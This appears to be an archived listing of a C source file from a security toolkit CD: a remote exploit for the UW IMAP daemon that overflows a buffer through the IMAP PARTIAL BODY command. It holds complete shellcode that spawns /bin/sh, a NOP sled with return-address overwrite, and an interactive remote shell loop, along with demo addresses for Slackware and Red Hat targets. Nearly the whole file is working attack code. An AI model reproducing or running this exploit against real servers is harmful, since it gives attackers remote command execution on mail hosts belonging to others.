home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / mail / wu-imapd / uw-imap.c < prev   
C/C++ Source or Header  |  2005-02-12  |  8KB  |  303 lines

  1. /*
  2.  * http://www.freeweb.nu/mantra/05_2002/uw-imapd.html
  3.  *
  4.  * uw-imapd.c - Remote exploit for uw imapd CAPABILITY IMAP4
  5.  *
  6.  * Copyright (C) 2002  Christophe "korty" Bailleux <cb@t-online.fr>
  7.  * Copyright (C) 2002  Kostya Kortchinsky <kostya.kortchinsky@renater.fr>
  8.  *
  9.  * All Rights Reserved
  10.  * The copyright notice above does not evidence any
  11.  * actual or intended publication of such source code.
  12.  *
  13.  * Usage: ./wu-imap host user password shellcode_addressr alignement
  14.  *
  15.  * Demonstration values for Linux:
  16.  *
  17.  * (slackware 7.1) ./uw-imap localhost test test1234 0xbffffa60 0
  18.  * (Redhat 7.2)    ./uw-imap localhost test test1234 0xbffff760 0
  19.  *
  20.  * THIS CODE FOR EDUCATIONAL USE ONLY IN AN ETHICAL MANNER
  21.  *
  22.  * The code is dirty...but we like dirty things :)
  23.  * And it works very well :)
  24.  *
  25.  */
  26.  
  27. #include <stdio.h>
  28. #include <stdlib.h>
  29. #include <string.h>
  30. #include <unistd.h>
  31. #include  <sys/types.h>
  32. #include  <sys/socket.h>
  33. #include  <netinet/in.h>
  34. #include  <stdio.h>
  35. #include  <string.h>
  36. #include  <netdb.h>
  37.  
  38. #define GOOD_EXIT    0
  39. #define ERROR_EXIT    1
  40.  
  41. #define DEFAULT_PROTOCOL  0
  42. #define SEND_FLAGS    0
  43. #define RECV_FLAGS    0
  44.  
  45. char sc[]=
  46. "\xeb\x38"                      /* jmp 0x38              */
  47. "\x5e"                          /* popl %esi             */
  48. "\x80\x46\x01\x50"              /* addb $0x50,0x1(%esi)  */
  49. "\x80\x46\x02\x50"              /* addb $0x50,0x2(%esi)  */
  50. "\x80\x46\x03\x50"              /* addb $0x50,0x3(%esi)  */
  51. "\x80\x46\x05\x50"              /* addb $0x50,0x5(%esi)  */
  52. "\x80\x46\x06\x50"              /* addb $0x50,0x6(%esi)  */
  53. "\x89\xf0"                      /* movl %esi,%eax        */
  54. "\x83\xc0\x08"                  /* addl $0x8,%eax        */
  55. "\x89\x46\x08"                  /* movl %eax,0x8(%esi)   */
  56. "\x31\xc0"                      /* xorl %eax,%eax        */
  57. "\x88\x46\x07"                  /* movb %eax,0x7(%esi)   */
  58. "\x89\x46\x0c"                  /* movl %eax,0xc(%esi)   */
  59. "\xb0\x0b"                      /* movb $0xb,%al         */
  60. "\x89\xf3"                      /* movl %esi,%ebx        */
  61. "\x8d\x4e\x08"                  /* leal 0x8(%esi),%ecx   */
  62. "\x8d\x56\x0c"                  /* leal 0xc(%esi),%edx   */
  63. "\xcd\x80"                      /* int $0x80             */
  64. "\x31\xdb"                      /* xorl %ebx,%ebx        */
  65. "\x89\xd8"                      /* movl %ebx,%eax        */
  66. "\x40"                          /* inc %eax              */
  67. "\xcd\x80"                      /* int $0x80             */
  68. "\xe8\xc3\xff\xff\xff"          /* call -0x3d            */
  69. "\x2f\x12\x19\x1e\x2f\x23\x18"; /* .string "/bin/sh"     */
  70.  
  71. int imap_send(int s, char *buffer)
  72. {
  73.   int result = GOOD_EXIT;
  74.  
  75.   if (send(s, buffer, strlen(buffer), SEND_FLAGS) < 0)
  76.     result = ERROR_EXIT;
  77.  
  78.   return result;
  79. }
  80.  
  81. int imap_receive(int s, char *buffer, int size)
  82. {
  83.   int result = GOOD_EXIT;
  84.   int char_recv;
  85.   int tot_recv = 0;
  86.  
  87.   bzero(buffer, size);
  88.   do {
  89.     char_recv = recv(s, &buffer[tot_recv], size - tot_recv, RECV_FLAGS);
  90.     if (char_recv > 0)
  91.       tot_recv += char_recv;
  92.   } while ((char_recv > 0) && (strchr(buffer, 13) == NULL));
  93.  
  94.   if (char_recv < 0)
  95.     result = ERROR_EXIT;
  96.  
  97.   return result;
  98. }
  99.  
  100. #define BANNER "pwd ; uname -a"
  101.  
  102. int interact( int fd )
  103. {
  104.      fd_set fds;
  105.      ssize_t ssize;
  106.      char buffer[ 666 ];
  107.  
  108.    write( fd, BANNER"\n", sizeof(BANNER) );
  109.      while ( 12 != 42 ) {
  110.            FD_ZERO( &fds );
  111.            FD_SET( STDIN_FILENO, &fds );
  112.            FD_SET( fd, &fds);
  113.            select( fd + 1, &fds, NULL, NULL, NULL );
  114.  
  115.            if ( FD_ISSET(STDIN_FILENO, &fds) ) {
  116.               ssize = read( STDIN_FILENO, buffer, sizeof(buffer) );
  117.               if ( ssize < 0 ) {
  118.                  return( -1 );
  119.               }
  120.               if ( ssize == 0 ) {
  121.                  return( 0 );
  122.               }
  123.  
  124.               write( fd, buffer, ssize );
  125.  
  126.            }
  127.  
  128.            if ( FD_ISSET(fd, &fds) ) {
  129.                ssize = read( fd, buffer, sizeof(buffer) );
  130.                if ( ssize < 0 ) {
  131.                   return( -1 );
  132.                 }
  133.                if ( ssize == 0 ) {
  134.                   return( 0 );
  135.                }
  136.  
  137.                write( STDOUT_FILENO, buffer, ssize );
  138.  
  139.            }
  140.      }
  141.      return( -1 );
  142.  }
  143.  
  144.  
  145. void usage(char *cmd)
  146. {
  147.   printf("Usage: %s host user pass shellcode_addr align\n", cmd);
  148.   printf("Demo: %s localhost test test1234 0xbffffa40 0\n", cmd);
  149.   exit(0);
  150. }
  151.  
  152.  
  153. int main(int argc, char *argv[])
  154. {
  155.   struct sockaddr_in server;
  156.   struct servent *sp;
  157.   struct hostent *hp;
  158.   int s, i , ret, align;
  159.   int blaw = 1024;
  160.   char *user, *passwd;
  161.  
  162.   char imap_info[4096];
  163.   char imap_login[4096];
  164.   char imap_query[4096];
  165.   char buffer[2048];
  166.  
  167.   int exit_code = GOOD_EXIT;
  168.  
  169.   if (argc != 6) usage(argv[0]);
  170.  
  171.   user = argv[2];
  172.   passwd = argv[3];
  173.   ret = strtoul(argv[4], NULL, 16);
  174.   align = atoi(argv[5]);
  175.  
  176.   if ((hp = gethostbyname(argv[1])) == NULL)
  177.     exit_code = ERROR_EXIT;
  178.  
  179.   if ((exit_code == GOOD_EXIT) && (sp = getservbyname("imap2", "tcp")) ==
  180. NULL)
  181.     exit_code = ERROR_EXIT;
  182.  
  183.   if (exit_code == GOOD_EXIT) {
  184.     if ((s = socket(PF_INET, SOCK_STREAM, DEFAULT_PROTOCOL)) < 0)
  185.       return exit_code = ERROR_EXIT;
  186.  
  187.     bzero((char *) &server, sizeof(server));
  188.     bcopy(hp->h_addr, (char *) &server.sin_addr, hp->h_length);
  189.     server.sin_family = hp->h_addrtype;
  190.     server.sin_port = sp->s_port;
  191.     if (connect(s, (struct sockaddr *) &server, sizeof(server)) < 0)
  192.       exit_code = ERROR_EXIT;
  193.     else {
  194.       printf(" [1;34mVΘrification de la banniΦre : [0m\n");
  195.       if (exit_code = imap_receive(s, imap_info, sizeof(imap_info)) ==
  196. ERROR_EXIT) {
  197.         shutdown(s, 2);
  198.         close(s);
  199.         return exit_code;
  200.       }
  201.  
  202.       printf("%s", imap_info);
  203.       if (strstr(imap_info, "IMAP4rev1 200") == NULL) {
  204.         printf(" [1;32mService IMAPd non reconnu ... [0m\n");
  205.         shutdown(s, 2);
  206.         close(s);
  207.         return exit_code;
  208.       }
  209.  
  210.       if ((exit_code = imap_send(s, "x CAPABILITY\n")) == ERROR_EXIT) {
  211.         shutdown(s, 2);
  212.         close(s);
  213.         return exit_code;
  214.       }
  215.  
  216.       printf(" [1;34mVΘrification des options du service : [0m\n");
  217.       if ((exit_code = imap_receive(s, imap_info, sizeof(imap_info))) ==
  218. ERROR_EXIT) {
  219.         shutdown(s, 2);
  220.         close(s);
  221.         return exit_code;
  222.       }
  223.  
  224.       printf("%s", imap_info);
  225.       if (strstr(imap_info, " IMAP4 ") == NULL) {
  226.         printf(" [1;32mService IMAPd non vulnΘrable ... [0m\n");
  227.         shutdown(s, 2);
  228.         close(s);
  229.         return exit_code;
  230.       }
  231.  
  232.       printf(" [1;31mService IMAPd vulnΘrable ... [0m\n");
  233.       sprintf(imap_login, "x LOGIN %s %s\n", user, passwd);
  234.       if ((exit_code = imap_send(s, imap_login)) == ERROR_EXIT) {
  235.         shutdown(s, 2);
  236.         close(s);
  237.         return exit_code;
  238.       }
  239.  
  240.       if ((exit_code = imap_receive(s, imap_info, sizeof(imap_info))) ==
  241. ERROR_EXIT) {
  242.         shutdown(s, 2);
  243.         close(s);
  244.         return exit_code;
  245.       }
  246.       printf("%s", imap_info);
  247.  
  248.       if ((exit_code = imap_send(s, "x SELECT Inbox\n")) == ERROR_EXIT) {
  249.         shutdown(s, 2);
  250.         close(s);
  251.         return exit_code;
  252.       }
  253.  
  254.       if ((exit_code = imap_receive(s, imap_info, sizeof(imap_info))) ==
  255. ERROR_EXIT) {
  256.         shutdown(s, 2);
  257.         close(s);
  258.         return exit_code;
  259.       }
  260.       printf("%s", imap_info);
  261.  
  262.       memset(buffer, 0x90, sizeof(buffer));
  263.       memcpy(buffer + 512, sc, strlen(sc));
  264.  
  265.       for (i = blaw + align ; i < 1096; i +=4)
  266.         *(unsigned int *)(&buffer[i]) = ret;
  267.  
  268.       *(unsigned int *)(&buffer[i + 1]) = 0;
  269.  
  270.       sprintf(imap_query, "x PARTIAL 1 BODY[%s] 1 1\n", buffer);
  271.       if ((exit_code = imap_send(s, imap_query)) == ERROR_EXIT) {
  272.         shutdown(s, 2);
  273.         close(s);
  274.         return exit_code;
  275.       }
  276.  
  277.       if ((exit_code = imap_receive(s, imap_info, sizeof(imap_info))) ==
  278. ERROR_EXIT) {
  279.         shutdown(s, 2);
  280.         close(s);
  281.         return exit_code;
  282.       }
  283.  
  284.       if ((exit_code = imap_send(s, "x LOGOUT\n")) == ERROR_EXIT) {
  285.         shutdown(s, 2);
  286.         close(s);
  287.         return exit_code;
  288.       }
  289.  
  290.       if ((exit_code = imap_receive(s, imap_info, sizeof(imap_info))) ==
  291. ERROR_EXIT) {
  292.         shutdown(s, 2);
  293.         close(s);
  294.         return exit_code;
  295.       }
  296.     }
  297.   }
  298.  
  299.       i = interact( s );
  300.  
  301.   return exit_code;
  302. }
  303.